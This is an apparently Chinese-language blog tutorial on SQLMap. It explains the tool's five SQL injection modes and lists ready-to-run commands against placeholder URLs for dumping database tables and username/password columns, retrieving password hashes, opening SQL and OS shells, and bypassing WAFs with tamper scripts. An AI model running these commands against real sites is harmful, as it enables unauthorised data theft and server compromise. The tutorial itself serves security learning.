SQLMap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。
SQLMap支持五种不同的注入模式:
l 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;
l 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
l 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
l 联合查询注入,可以使用union的情况下的注入;
l 堆查询注入,可以同时执行多条语句的执行时的注入。
SQLMap指令很多,可以使用-h来查看。在这列出一些常用的命令:
1.检查URL是否能注入: sqlmap -u http://……php?id=0
2.获取网站当前数据库名:sqlmap -u http://……php?id=0 --current-db
3.检查 DBMS 版本:sqlmap -u http://……php?id=0 -f
4.猜解表:sqlmap -u http://……php?id=0 --tables
5.枚举系统中所有的数据库:sqlmap -u http://……php?id=0 --dbs(当数据库为Access直接枚举tables)
6.枚举指定数据库的数据表:sqlmap -u http://……php?id=0 -D test --tables
7.枚举指定数据库中指定表的列:sqlmap -u http://……php?id=0 -D test -T admin --columns
8.枚举指定数据库中指定表中的指定列的内容:sqlmap -u http://……php?id=0 -D test -T admin -C username,password --dump
9.获取当前数据库密码:sqlmap -u http://……php?id=0 --passwords
10.枚举 DBMS 用户权限:sqlmap -u http://……php?id=0 --privileges
11.获取一个 sql-shell 会话:sqlmap -u http://.......php?id=0 --sql-shell
(直接输入 sql 命令回车就执行了!输入 x 或 q 按回车即可退出 sql-shell。前提是权限允许!!!)
12.获取一个 os-shell 会话:sqlmap -u http://……php?id=0 --os-shell
13.sqlmap 用 cookie 注入:sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=0" --dbs(cookie抓包获取)
14:伪静态盲注:sqlmap -u "http://xxx.cn/index.php/Index/view/id/40.html" --dbs
15.sqlmap 绕过 WAF:sqlmap -u
-v 3 --dbs --batch --tamper "python 脚本" (脚本可以查看自己SQLMap安装路径:sqlmap/waf 下)以上大都是针对GET型,不过对于POST型可以使用Burpsuite抓包,把抓包内容放进一个文本文档中,命名1.txt(命名你随意),然后用拖进SQLMap运行:
sqlmap -r 1.txt --batch
sqlmap -r 1.txt --dbs
命令跟get型一样,只是把-u换成了-r
以上都是一些基本命令,在实际注入过程中可能需要更多的细节命令处理,很多命令本文没有列举出来,可以-h查看有哪些命令。
——————————————————
本文仅限于技术学习和交流,不要用于恶意攻击网站,如需测试,自行搭建测试环境。
- 赞助本站
- 微信扫一扫
- 加入Q群
- QQ扫一扫
评论